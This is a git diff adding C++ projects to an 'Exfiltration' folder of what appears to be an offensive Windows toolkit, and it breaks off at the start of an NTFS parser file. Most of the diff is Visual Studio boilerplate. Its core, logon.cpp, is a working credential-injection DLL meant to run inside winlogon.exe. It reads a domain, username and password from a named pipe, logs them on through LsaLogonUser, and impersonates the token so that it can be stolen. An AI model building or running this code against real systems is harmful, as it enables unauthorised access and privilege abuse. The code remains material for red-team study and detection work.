\ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt new file mode 100644 index 0000000..8275e56 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : LogonUser Project Overview +======================================================================== + +AppWizard has created this LogonUser application for you. + +This file contains a summary of what you will find in each of the files that +make up your LogonUser application. + + +LogonUser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +LogonUser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +LogonUser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named LogonUser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp new file mode 100644 index 0000000..d213d3a --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// LogonUser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h new file mode 100644 index 0000000..cb2a53f --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h @@ -0,0 +1,20 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" +#include <stdio.h> +#include <tchar.h> +#include <iostream> +#include <string> +#include <Windows.h> +#include <NTSecAPI.h> + + + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include <SDKDDKVer.h> diff --git a/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt new file mode 100644 index 0000000..605d341 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : logon Project Overview +======================================================================== + +AppWizard has created this logon DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your logon application. + + +logon.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +logon.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +logon.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named logon.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp new file mode 100644 index 0000000..69b5891 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.cpp b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp new file mode 100644 index 0000000..8011ed8 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp @@ -0,0 +1,258 @@ +// logon.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address); +void WriteErrorToPipe(string errorMsg, HANDLE pipe); + +extern "C" __declspec( dllexport ) void VoidFunc(); + + +//The entire point of this code is to call LsaLogonUser from within winlogon.exe +extern "C" __declspec( dllexport ) void VoidFunc() +{ + //Open a pipe which will receive data from the PowerShell script. + HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (pipe == INVALID_HANDLE_VALUE) + { + return; + } + + const size_t strSize = 257; + size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t); + wchar_t* domain = new wchar_t[strSize]; + wchar_t* username = new wchar_t[strSize]; + wchar_t* password = new wchar_t[strSize]; + DWORD bytesRead = 0; + + BOOL success = ReadFile(pipe, domain, strSize, &bytesRead, NULL); + if (!success) + { + return; + } + domain[bytesRead/2] = '\0'; + + success = ReadFile(pipe, username, strSize-2, &bytesRead, NULL); + if (!success) + { + return; + } + username[bytesRead/2] = '\0'; + + success = ReadFile(pipe, password, strSize-2, &bytesRead, NULL); + if (!success) + { + return; + } + password[bytesRead/2] = '\0'; + + //Get the logon type from the pipe + USHORT logonType = 10; + success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL); + if (!success) + { + return; + } + + //Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos + USHORT authPackageToUse = 0; + success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL); + if (!success) + { + return; + } + + + ///////////// + //Build the parameters to call LsaLogonUser with + ///////////// + + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status); + WriteErrorToPipe(errorMsg, pipe); + return; + } + if (hLSA == NULL) + { + string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = ""; + originName.Buffer = originNameStr; + originName.Length = (USHORT)0; + originName.MaximumLength = 0; + + //Build the authentication package parameter based on the auth package the powershell script specified to use + //Also get the AuthenticationInformation + char* authPackageBuf = NULL; + DWORD authBufferSize = 0; + PVOID authBuffer = NULL; + if (authPackageToUse == 1) + { + authPackageBuf = MSV1_0_PACKAGE_NAME; + authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize); + } + else if (authPackageToUse == 2) + { + authPackageBuf = MICROSOFT_KERBEROS_NAME_A; + authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize); + } + else + { + string errorMsg = "Received an invalid auth package from the named pipe"; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + string errorMsg = "Call to GetTokenInformation failed."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Misc out parameters + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + //Log on the user + status = LsaLogonUser(hLSA, + &originName, + static_cast<SECURITY_LOGON_TYPE>(logonType), + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + + //Impersonate the token with the current thread so it can be kidnapped + ImpersonateLoggedOnUser(token); + + //Put the thread to sleep so it can be impersonated + string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread."; + WriteErrorToPipe(successMsg, pipe); + HANDLE permenantSleep = CreateMutex(NULL, false, NULL); + while(1) + { + Sleep(MAXDWORD); + } + + return; +} + + +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = KerbInteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + + +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress); + writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +//Returns the amount of bytes written. +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address) +{ + size_t size = lstrlenW(str) * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)address; + memcpy(address, str, size); + return size; +} + +void WriteErrorToPipe(string errorMsg, HANDLE pipe) +{ + const char* error = errorMsg.c_str(); + DWORD bytesWritten = 0; + WriteFile(pipe, error, strlen(error), &bytesWritten, NULL); +}
\ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj new file mode 100644 index 0000000..7fb078b --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>logon</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h" /> + <ClInclude Include="targetver.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="dllmain.cpp"> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + </PrecompiledHeader> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + </PrecompiledHeader> + </ClCompile> + <ClCompile Include="logon.cpp" /> + <ClCompile Include="stdafx.cpp"> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader> + </ClCompile> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters new file mode 100644 index 0000000..b63ba3c --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters @@ -0,0 +1,39 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="targetver.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ClCompile Include="stdafx.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="logon.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="dllmain.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp new file mode 100644 index 0000000..696fbfb --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// logon.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/logon/stdafx.h b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h new file mode 100644 index 0000000..d8612f0 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/stdafx.h @@ -0,0 +1,25 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include "targetver.h" +#include <stdio.h> +#include <tchar.h> +#include <iostream> +#include <string> +#include <fstream> +#include <ostream> +#include <mutex> +#include <Windows.h> +#include <NTSecAPI.h> + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/logon/targetver.h b/Exfiltration/LogonUser/LogonUser/logon/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include <SDKDDKVer.h> diff --git a/Exfiltration/NTFSParser/NTFSParser.sln b/Exfiltration/NTFSParser/NTFSParser.sln new file mode 100644 index 0000000..0bdac2e --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS.h b/Exfiltration/NTFSParser/NTFSParser/NTFS.h new file mode 100644 index 0000000..ef6117b --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS.h @@ -0,0 +1,28 @@ +/* + * NTFS include files + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_H_CYB70289 +#define __NTFS_H_CYB70289 + +#pragma pack(8) + +#include "NTFS_Common.h" +#include "NTFS_FileRecord.h" +#include "NTFS_Attribute.h" + +#pragma pack() + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp new file mode 100644 index 0000000..843631b --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp @@ -0,0 +1,49 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 